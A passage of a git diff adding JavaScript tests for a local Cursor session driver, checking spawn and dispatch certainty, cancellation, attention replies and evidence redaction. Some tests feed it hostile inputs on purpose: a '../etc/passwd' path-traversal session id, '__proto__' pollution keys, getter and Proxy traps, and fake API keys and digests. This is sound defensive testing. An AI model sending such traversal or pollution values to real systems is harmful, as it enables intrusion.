bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { include: INCLUDE_ALL })); + created.controls.readEvidence(evidenceRequest()); + // Drive to terminal to flush the window, then check every segment is valid UTF-8. + bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + const drained = created.controls.readEvidence(evidenceRequest()); + assert.ok(drained.total_bytes > 0, 'flushed evidence exists'); + for (const segment of drained.events) { + assert.equal(segment.text.includes('\uFFFD'), false, + 'truncation never introduces replacement characters'); + assert.equal(Buffer.from(segment.text, 'utf8').toString('utf8'), segment.text, + 'every bounded segment round trips as valid UTF-8'); + } + assert.equal(getterRuns, 0); +}); + +test('bound overflow sets truncated and drops further input silently', () => { + const context = create('flood'); + context.bound.preflight(context.request('preflight')); + context.bound.launch(context.request('launch')); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, true, 'overflow is reported as truncated'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte cap holds exactly'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count cap holds'); + const allText = drained.events.map((segment) => segment.text).join(''); + assert.equal(allText.includes('sk-live-abcdef0123456789'), false, + 'even flooded evidence stays redacted'); +}); + +test('hostile control requests stay inside the content-free quarantine', () => { + const context = create('happy'); + dispatch(context); + const replyBase = () => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: 'q-attn-1', + answer_text: 'Approved.', + }); + + let getterRuns = 0; + const accessorReply = replyBase(); + delete accessorReply.answer_text; + Object.defineProperty(accessorReply, 'answer_text', { + enumerable: true, + get() { + getterRuns += 1; + return 'Approved.'; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply(accessorReply), + 'accessor_property_denied', 'accessor replies are denied'); + assert.equal(getterRuns, 0, 'reply getters are never invoked'); + + expectCode(() => context.created.controls.submitAttentionReply(new Proxy(replyBase(), {})), + 'proxy_denied', 'proxied replies are denied'); + // Extra keys are rejected content-free BEFORE any value inspection, so + // hostility is exercised through closed keys below. + const cyclic = replyBase(); + cyclic.answer_text = cyclic; + expectCode(() => context.created.controls.submitAttentionReply(cyclic), + 'aliased_reference_denied', 'cyclic replies are denied inside a closed key'); + const aliased = replyBase(); + const shared = { lane: 1 }; + aliased.envelope_text = shared; + aliased.child_envelope_digest = shared; + expectCode(() => context.created.controls.submitAttentionReply(aliased), + 'aliased_reference_denied', 'aliased replies are denied inside the same quarantine'); + let depth = { v: 0 }; + for (let index = 0; index < 40; index += 1) depth = { nested: depth }; + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), answer_text: depth }, + ), 'value_depth_exceeded', 'oversized depth is denied'); + expectCode(() => context.created.controls.readEvidence( + new Proxy(evidenceRequest(), {}), + ), 'proxy_denied', 'proxied evidence requests are denied'); + + // Extra control-request keys are refused content-free: fixed code, fixed + // path, fixed message — and the hostile value is never inspected at all, + // so accessors never run and proxy traps never fire. + let extraGetterRuns = 0; + const getterValue = {}; + Object.defineProperty(getterValue, 'polluted', { + enumerable: true, + get() { + extraGetterRuns += 1; + return '__proto__'; + }, + }); + let trapCount = 0; + const trappedValue = new Proxy({}, { + get() { + trapCount += 1; + return undefined; + }, + has() { + trapCount += 1; + return true; + }, + ownKeys() { + trapCount += 1; + return []; + }, + getOwnPropertyDescriptor() { + trapCount += 1; + return undefined; + }, + }); + expectCode(() => context.created.controls.submitAttentionReply( + { ...replyBase(), polluted: getterValue }, + ), 'unknown_key', 'extra reply keys are rejected content-free'); + assert.equal(extraGetterRuns, 0, 'extra-key values are never read'); + expectCode(() => context.created.controls.readEvidence( + { ...evidenceRequest(), polluted: trappedValue }, + ), 'unknown_key', 'extra evidence keys are rejected content-free'); + assert.equal(trapCount, 0, 'extra-key proxies are never trapped'); + const protoNamed = replyBase(); + Object.defineProperty(protoNamed, '__proto__', { + enumerable: true, + value: { polluted: true }, + }); + expectCode(() => context.created.controls.submitAttentionReply(protoNamed), + 'unknown_key', 'prototype-shaped extra key names stay content-free'); +}); + +test('terminal receipts keep exact identity under repetition and hostile echoes', () => { + const context = create('happy'); + dispatch(context); + const first = context.bound.reconcile(context.request('reconcile')); + const second = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + const identityOf = (receipt) => ({ + run_id: receipt.run_id, assignment_id: receipt.assignment_id, + lane_index: receipt.lane_index, base_sha: receipt.base_sha, + child_envelope_digest: receipt.child_envelope_digest, + }); + assert.deepEqual(identityOf(first), identityOf(second), + 'identity is preserved across state changes'); + const third = context.bound.reconcile(context.request('reconcile')); + assert.deepEqual( + { ...identityOf(second), disposition: second.disposition }, + { ...identityOf(third), disposition: third.disposition }, + 'latched reconciles repeat the identical terminal receipt', + ); + const cancelReceipt = context.bound.cancel(context.request('cancel')); + assert.equal(cancelReceipt.disposition, 'already_terminal'); + assert.equal(cancelReceipt.run_id, fixture.run_id); + assert.equal(cancelReceipt.child_envelope_digest, fixture.child_envelope_digest); +}); + +function assertExactIdentity(receipt, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('after spawn success launch never throws: unusable spawn proofs stay dispatch_uncertain', () => { + // Row 1 of the bound-driver rejection: a transport that returns from + // spawn but then lies, omits, adds keys, or hides accessors leaves a live + // session with an unusable proof. Launch must never throw past spawn; it + // reports dispatch_uncertain exactly once and can never respawn. + const spawnVariants = [ + ['missing session id', () => ({}), 0], + ['extra key beside the spawn proof', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, polluted: { x: 1 }, session_id: 'sess-x' }), 0], + ['garbage session id', + () => ({ binding_digest: `sha256:${'7'.repeat(64)}`, session_id: '../etc/passwd' }), 0], + ['wrong binding echo', + () => ({ binding_digest: `sha256:${'0'.repeat(64)}`, session_id: 'sess-x' }), 0], + ['accessor session id', () => { + const result = { binding_digest: `sha256:${'7'.repeat(64)}` }; + Object.defineProperty(result, 'session_id', { + enumerable: true, + get() { + getterReads.spawn += 1; + return 'sess-x'; + }, + }); + return result; + }, 0], + ]; + const getterReads = { spawn: 0 }; + for (const [label, mutate] of spawnVariants) { + const context = create('happy', { wrap: { spawn: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(JSON.stringify(receipt).includes('polluted'), false, + `${label}: no hostile name in the receipt`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: at most one spawn ever`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-spawned lane is never respawned or fallen back`); + assert.equal(context.stub.state.spawnCalls, 1, + `${label}: relaunch attempts spawn nothing`); + assert.equal(context.stub.state.sends, 0, `${label}: nothing is dispatched on a dead proof`); + expectCode(() => context.bound.reconcile(context.request('reconcile')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to reconcile`); + expectCode(() => context.bound.cancel(context.request('cancel')), 'not_dispatched', + `${label}: no prompt was attempted, so there is nothing to cancel`); + } + assert.equal(getterReads.spawn, 0, 'spawn-result getters are never invoked'); +}); + +test('a live session without acknowledgement is dispatch_uncertain, never thrown and never resent', () => { + // Row 1 continuation: the send itself ran against a live session but its + // result cannot prove delivery — missing/false acknowledgement, lying + // echoes, extra keys, and accessor bombs all stay honest uncertainty. + const sendVariants = [ + ['acknowledgement missing', (result) => { + const { acknowledged, ...rest } = result; + void acknowledged; + return rest; + }], + ['acknowledgement false', (result) => ({ ...result, acknowledged: false })], + ['extra key beside acknowledgement', (result) => ({ ...result, polluted: { deep: '__proto__' } })], + ['session echo substituted', + (result) => ({ ...result, session_id: `${result.session_id}-reborn` })], + ['binding echo corrupted', (result) => ({ ...result, binding_digest: `sha256:${'f'.repeat(64)}` })], + ['accessor acknowledgement', (result) => { + const forged = { ...result }; + delete forged.acknowledged; + Object.defineProperty(forged, 'acknowledged', { + enumerable: true, + get() { + getterReads.send += 1; + return true; + }, + }); + return forged; + }], + ]; + const getterReads = { send: 0 }; + for (const [label, mutate] of sendVariants) { + const context = create('happy', { wrap: { send: (original, request) => mutate(original(request)) } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', `${label}: honest uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(receipt.detail_code, undefined, + `${label}: uncertainty carries no detail pair`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: an unacknowledged live session is never resent`); + assert.equal(context.stub.state.sends, 1, `${label}: relaunch attempts send nothing`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: relaunch spawns nothing`); + } + assert.equal(getterReads.send, 0, 'send-result getters are never invoked'); +}); + +test('pre_write_failure is not_sent only under a confirmed teardown, else dispatch_uncertain', () => { + // Row 2 of the bound-driver rejection: not_sent requires proof that no + // session survives. The confirmed-teardown path keeps the honest closed + // detail pair; every unproven teardown stays dispatch_uncertain. + const confirmed = create('pre_write_failure'); + confirmed.bound.preflight(confirmed.request('preflight')); + const notSent = confirmed.bound.launch(confirmed.request('launch')); + assert.equal(notSent.disposition, 'not_sent'); + assert.equal(notSent.detail_code, 'dispatch_not_written'); + assert.equal(typeof notSent.detail_message, 'string'); + assert.ok(!notSent.detail_message.includes('nothing was written'), + 'transport failure text never leaks into the closed detail pair'); + assertExactIdentity(notSent, 'confirmed-teardown not_sent'); + assert.equal(confirmed.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(confirmed.stub.state.sends, 1, 'exactly one dispatch attempt'); + assert.equal(confirmed.stub.state.cancelCalls, 1, 'teardown was proven via one cancel'); + expectCode(() => confirmed.bound.launch(confirmed.request('launch')), 'replay_denied', + 'not_sent lanes are never relaunched'); + assert.equal(confirmed.stub.state.spawnCalls, 1); + assert.equal(confirmed.stub.state.sends, 1); + + const teardownVariants = [ + ['cancelling throws', () => { + throw new Error(`teardown exploded ${SECRET_BEARER_TOKEN}`); + }], + ['cancellation only requested', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'requested', + session_id: 'sess-local-1', + })], + ['teardown echo corrupted', () => ({ + binding_digest: `sha256:${'0'.repeat(64)}`, + outcome: 'confirmed', + session_id: 'sess-local-1', + })], + ['teardown carries an extra key', () => ({ + binding_digest: `sha256:${'7'.repeat(64)}`, + outcome: 'confirmed', + polluted: true, + session_id: 'sess-local-1', + })], + ['teardown result malformed', () => 'confirmed'], + ]; + for (const [label, cancelBehavior] of teardownVariants) { + let teardownAttempts = 0; + const context = create('pre_write_failure', { wrap: { cancel: () => { + teardownAttempts += 1; + return cancelBehavior(); + } } }); + context.bound.preflight(context.request('preflight')); + let receipt; + try { + receipt = context.bound.launch(context.request('launch')); + } catch (error) { + assert.fail(`${label}: launch threw after a successful spawn: ${error}`); + } + assert.equal(receipt.disposition, 'dispatch_uncertain', + `${label}: unproven teardown stays uncertain`); + assert.equal(receipt.detail_code, undefined, `${label}: no detail pair on uncertainty`); + assertExactIdentity(receipt, `${label}: uncertain receipt`); + assert.equal(teardownAttempts, 1, `${label}: teardown was attempted once`); + assert.equal(context.stub.state.spawnCalls, 1, `${label}: exactly one spawn`); + assert.equal(context.stub.state.sends, 1, `${label}: exactly one dispatch attempt`); + expectCode(() => context.bound.launch(context.request('launch')), 'replay_denied', + `${label}: a possibly-sent prompt is never sent twice`); + assert.equal(context.stub.state.sends, 1, `${label}: no redispatch after relaunch attempt`); + } +}); + +test('every transport result obeys its closed key vocabulary content-free', () => { + const extraKey = { polluted: { leaked: '__proto__' } }; + + const withExtra = (result) => ({ ...result, ...extraKey }); + + const availability = create('happy', { wrap: { availability: (original) => withExtra(original()) } }); + expectCode(() => availability.bound.preflight(availability.request('preflight')), + 'invalid_transport_result', 'availability results reject extra keys'); + assert.equal(availability.stub.state.spawnCalls, 0, + 'refused availability results never spawn'); + + const observe = create('happy', { wrap: { observe: (original, request) => withExtra(original(request)) } }); + observe.bound.preflight(observe.request('preflight')); + observe.bound.launch(observe.request('launch')); + expectCode(() => observe.bound.reconcile( + observe.request('reconcile', { include: INCLUDE_ALL }), + ), 'invalid_transport_result', 'observe results reject extra keys'); + + const cancellation = create('happy', { wrap: { cancel: (original, request) => withExtra(original(request)) } }); + cancellation.bound.preflight(cancellation.request('preflight')); + cancellation.bound.launch(cancellation.request('launch')); + expectCode(() => cancellation.bound.cancel(cancellation.request('cancel')), + 'invalid_transport_result', 'cancel results reject extra keys'); + assert.equal(cancellation.stub.state.cancelCalls, 1, + 'the refused cancellation still reached the transport exactly once'); + + const reply = create('attention', { wrap: { reply: (original, request) => withExtra(original(request)) } }); + dispatch(reply); + reply.bound.reconcile(reply.request('reconcile', { include: INCLUDE_ALL })); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved.', + }), 'invalid_transport_result', 'reply results reject extra keys'); + assert.equal(reply.stub.state.replies, 1, 'the refused reply consumed the one attempt'); + expectCode(() => reply.created.controls.submitAttentionReply({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: 'sess-local-1', + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved again.', + }), 'reply_already_attempted', 'replies stay attempt-once across refusals'); +}); + +test('sha256 and bare 64-hex signatures redact across chunks and reconciliations while receipts keep identity', () => { + const sha256Secret = `sha256:${'d4f10e2a'.repeat(8)}`; + const bareSecret = 'deadbeef'.repeat(8); + const upperSecret = `SHA256:${'ABCDEF01'.repeat(8)}`; + // Every hostile signature is split into two ADJACENT stream pieces; the + // sha256 pair additionally straddles a reconciliation boundary, which the + // persistent per-lane window must survive. + const shaHead = sha256Secret.slice(0, 35); + const shaTail = sha256Secret.slice(35); + const bareHead = bareSecret.slice(0, 32); + const bareTail = bareSecret.slice(32); + let observes = 0; + const scriptedObserve = (request) => { + observes += 1; + if (observes === 1) { + return { + binding_digest: request.binding_digest, + events: [`${shaTail} rotated`, `sum ${bareHead}`], + progress_text: `hashing ${shaHead}`, + session_id: request.session_id, + status: 'running', + }; + } + if (observes === 2) { + return { + binding_digest: request.binding_digest, + events: ['x'.repeat(400), `upper ${upperSecret} end`], + progress_text: `${bareTail} sealed`, + session_id: request.session_id, + status: 'running', + }; + } + return { + binding_digest: request.binding_digest, + session_id: request.session_id, + status: 'completed', + }; + }; + const context = create('happy', { wrap: { observe: (original, request) => { + void original; + return scriptedObserve(request); + } } }); + + context.bound.preflight(context.request('preflight')); + const launched = context.bound.launch(context.request('launch')); + assert.equal(launched.disposition, 'dispatched'); + const first = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + const second = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(second.disposition, 'in_progress'); + + // Redaction happens at emission, not only at the terminal flush. + const midStream = context.created.controls.readEvidence(evidenceRequest()); + const midText = midStream.events.map((segment) => segment.text).join('\u0001'); + assert.ok(midText.includes(REDACTED_MARKER), + 'signatures crossing chunks were redacted before the latch'); + assert.equal(/[0-9a-f]{64}/iu.test(midText), false, + 'no 64-hex signature survives in mid-stream evidence'); + + const terminal = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(terminal.disposition, 'terminal'); + const receipts = [launched, first, second, terminal]; + for (const receipt of receipts) { + // P17 identity receipts stay byte-exact even when the same digest + // shapes arrive inside provider evidence. + assertExactIdentity(receipt, 'hostile-digest receipt'); + } + + const drained = context.created.controls.readEvidence(evidenceRequest()); + assert.equal(drained.truncated, false, 'nothing here needs truncation'); + const allText = drained.events.map((segment) => segment.text).join('\u0001'); + assert.ok(allText.includes(REDACTED_MARKER), 'digest signatures were redacted wholesale'); + assert.equal(/[0-9a-f]{64}/iu.test(allText), false, 'no 64-hex signature survives anywhere'); + assert.equal(allText.includes('d4f10e2a'), false, 'the sha256 body never recombines'); + assert.equal(allText.includes('deadbeef'), false, + 'the bare digest never recombines across reconciliations'); + assert.equal(allText.includes('ABCDEF01'), false, 'uppercase digests never survive'); + assert.equal(allText.includes('sha256:'), false, 'no digest prefix survives'); + for (const segment of drained.events) { + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound holds'); + assert.equal(Buffer.byteLength(segment.text, 'utf8'), segment.bytes, + 'byte accounting stays UTF-8 exact'); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs new file mode 100644 index 0000000..7b57eb2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs @@ -0,0 +1,406 @@ +// Runtime tests for the CursorLocalDriverV1 reconstruction (P19): the +// accepted P17 ProviderDriverV1 lifecycle bound to an injected local +// Cursor session transport. Covers exact provenance binding, one spawn +// plus one acknowledged dispatch, the not_sent / dispatch_uncertain / +// dispatched distinctions, same-session attention replies, cancel, +// reattach, the terminal latch, already-terminal behavior, bounded +// redacted evidence, and closed receipts. Everything runs offline against +// the scripted r1-cursor-local-transport fixture; no live Cursor Local, +// network, or repository access happens here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CANCEL_OUTCOMES, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + EVIDENCE_KINDS, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + OBSERVE_STATUSES, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateDriverDeclarationV1 } from '../mcp/v3/provider-driver.mjs'; +import { + FIXTURE_QUESTION_ID, + FIXTURE_QUESTION_TEXT, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function create(scenario = 'happy', declarationOverrides = {}) { + const stub = createCursorLocalTransportStub(scenario); + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration( + declarationOverrides.capability ?? {}, + declarationOverrides.features ?? {}, + ), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + ...(declarationOverrides.workspace_root !== undefined + ? { workspace_root: declarationOverrides.workspace_root } : {}), + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + const evidenceRequest = () => ({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const replyRequest = (overrides = {}) => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: `sess-local-${stub.state.spawnCalls || 1}`, + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved; continue.', + ...overrides, + }); + return { bound, created, request, evidenceRequest, replyRequest, stub }; +} + +function dispatch({ bound, request }) { + const preflight = bound.preflight(request('preflight')); + const launch = bound.launch(request('launch')); + return { launch, preflight }; +} + +function assertIdentityEcho(receipt, label) { + assert.equal(receipt.version, PROVIDER_DRIVER_VERSION, `${label} version`); + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('the cursor-local driver description is closed and claims no transport of its own', () => { + const description = describeCursorLocalDriverV1(); + assert.equal(description.schema, CURSOR_LOCAL_DRIVER_SCHEMA_ID); + assert.equal(description.provider, CURSOR_LOCAL_PROVIDER); + assert.deepEqual([...description.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.deepEqual([...description.direct_mode], []); + assert.equal(description.durable_store, false); + assert.equal(description.workspace_semantics, 'local_managed_worktree'); + assert.equal(description.workspace_starting_point, 'run_base_sha'); + assert.equal(description.replay_posture, 'never_replay'); + assert.ok(Object.isFrozen(description)); + assert.deepEqual([...OBSERVE_STATUSES].sort(), ['attention', 'completed', 'failed', 'running']); + assert.deepEqual([...CANCEL_OUTCOMES].sort(), ['confirmed', 'requested']); + assert.deepEqual([...EVIDENCE_KINDS].sort(), ['attention', 'event', 'progress']); +}); + +test('create binds the exact P05 capability record and a four-operation driver surface', () => { + const { created } = create(); + const validated = validateDriverDeclarationV1(created.declaration); + assert.equal(validated.capability.provider, CURSOR_LOCAL_PROVIDER); + assert.equal(validated.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(validated.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.equal(validated.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(validated.capability.same_session_reply, 'live_session_reply'); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `capability key ${key}`); + } + const summary = assertProviderDriverV1(created.driver); + assert.equal(summary.schema, 'codex-co-engineer.provider-driver.v1'); + assert.equal(summary.version, PROVIDER_DRIVER_VERSION); + assert.deepEqual([...summary.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual(Object.keys(created.driver).sort(), + ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(created)); + assert.ok(Object.isFrozen(created.driver)); + assert.ok(Object.isFrozen(created.controls)); +}); + +test('preflight reports readiness without spawning or sending anything', () => { + const context = create('happy'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'ready'); + assertIdentityEcho(receipt, 'preflight'); + assert.equal(receipt.detail_code, undefined); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.spawnCalls, 0, 'no spawn during preflight'); + assert.equal(context.stub.state.sends, 0, 'no dispatch during preflight'); +}); + +test('blocked preflight carries the closed detail pair and blocks the lane', () => { + const context = create('unavailable'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'blocked'); + assertIdentityEcho(receipt, 'blocked preflight'); + assert.equal(receipt.detail_code, 'transport_unavailable'); + assert.equal(typeof receipt.detail_message, 'string'); + expectCode(() => context.bound.launch(context.request('launch')), 'blocked_lane_denied', + 'a blocked preflight cannot launch'); + assert.equal(context.stub.state.spawnCalls, 0, 'blocked lanes never spawn'); +}); + +test('launch spawns exactly one session and dispatches the exact prompt once before dispatched', () => { + const context = create('happy'); + const { launch, preflight } = dispatch(context); + assert.equal(preflight.disposition, 'ready'); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, 'launch'); + assert.equal(launch.detail_code, undefined); + assert.equal(context.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(context.stub.state.sends, 1, 'exactly one prompt dispatch'); + assert.equal(context.stub.state.acks, 1, 'authoritative acknowledgement received'); + const spawnRequest = context.stub.state.spawnRecords[0]; + assert.equal(spawnRequest.binding_digest.length > 0, true, 'spawn carries the binding digest'); + assert.equal(spawnRequest.model, fixture.model, 'spawn binds the exact model'); + assert.equal(spawnRequest.base_sha, fixture.base_sha, 'spawn binds the run base sha'); + assert.equal(spawnRequest.repository_path, fixture.repository_path, + 'spawn binds the repository path'); + assert.equal(spawnRequest.run_id, fixture.run_id, 'spawn binds the run id'); + const sendRecord = context.stub.state.sendRecords[0]; + assert.equal(sendRecord.prompt_text, fixture.envelope_text, + 'the exact compiled envelope text is the dispatched prompt'); + assert.equal(sendRecord.prompt_utf8_bytes, + Buffer.byteLength(fixture.envelope_text, 'utf8')); + assert.equal(sendRecord.session_id, context.stub.state.spawnRecords[0] && 'sess-local-1'); +}); + +test('reconcile observes the same session, then the terminal latch stops further observation', () => { + const context = create('happy'); + dispatch(context); + const sessionId = 'sess-local-1'; + const first = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + assertIdentityEcho(first, 'reconcile'); + assert.equal(context.stub.state.observes, 1); + assert.equal(context.stub.calls[context.stub.calls.length - 1].request.session_id, sessionId, + 'observation addresses the exact spawned session'); + const second = context.bound.reconcile(context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(second.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 'terminal came from the second observation'); + const latched = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(latched.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 'the terminal latch performs no further observation'); + assert.deepEqual([first.run_id, second.run_id, latched.run_id], + [fixture.run_id, fixture.run_id, fixture.run_id]); + assert.deepEqual( + [second.child_envelope_digest, latched.child_envelope_digest], + [fixture.child_envelope_digest, fixture.child_envelope_digest], + 'latched receipts preserve exact identity', + ); +}); + +test('already-terminal cancellation reports already_terminal without contacting the transport', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile')); + context.bound.reconcile(context.request('reconcile')); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'already_terminal'); + assertIdentityEcho(receipt, 'already-terminal cancel'); + assert.equal(context.stub.state.cancelCalls, 0, 'no cancel call after the terminal latch'); +}); + +test('confirmed cancellation closes the lane and preserves identity everywhere', () => { + const context = create('happy'); + dispatch(context); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'cancel_confirmed'); + assertIdentityEcho(receipt, 'cancel'); + assert.equal(context.stub.state.cancelCalls, 1); + const observed = context.bound.reconcile(context.request('reconcile')); + assert.equal(observed.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 0, 'a cancelled lane never observes again'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('requested cancellation stays resolvable and still ends at the terminal latch', () => { + const context = create('cancel_requested_flow'); + dispatch(context); + const requested = context.bound.cancel(context.request('cancel')); + assert.equal(requested.disposition, 'cancel_requested'); + assertIdentityEcho(requested, 'cancel_requested'); + const windingDown = context.bound.reconcile(context.request('reconcile')); + assert.equal(windingDown.disposition, 'in_progress', + 'a requested cancellation keeps observing until the provider settles'); + const settled = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(settled.disposition, 'terminal'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('same-session attention replies are attempt-once and bound to the exact session/question', () => { + const context = create('attention'); + dispatch(context); + const attention = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(attention.disposition, 'unresolved_attention'); + assertIdentityEcho(attention, 'attention reconcile'); + + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true); + assert.equal(receipt.schema.startsWith('codex-co-engineer.cursor-local-reply-result'), true); + assertIdentityEcho(receipt, 'reply'); + assert.equal(receipt.question_id, FIXTURE_QUESTION_ID); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.replies, 1, 'exactly one reply attempt reached the transport'); + assert.equal(context.stub.state.replyRecords[0].answer_text, 'Approved; continue.'); + assert.equal(context.stub.state.replyRecords[0].question_id, FIXTURE_QUESTION_ID); + + expectCode(() => 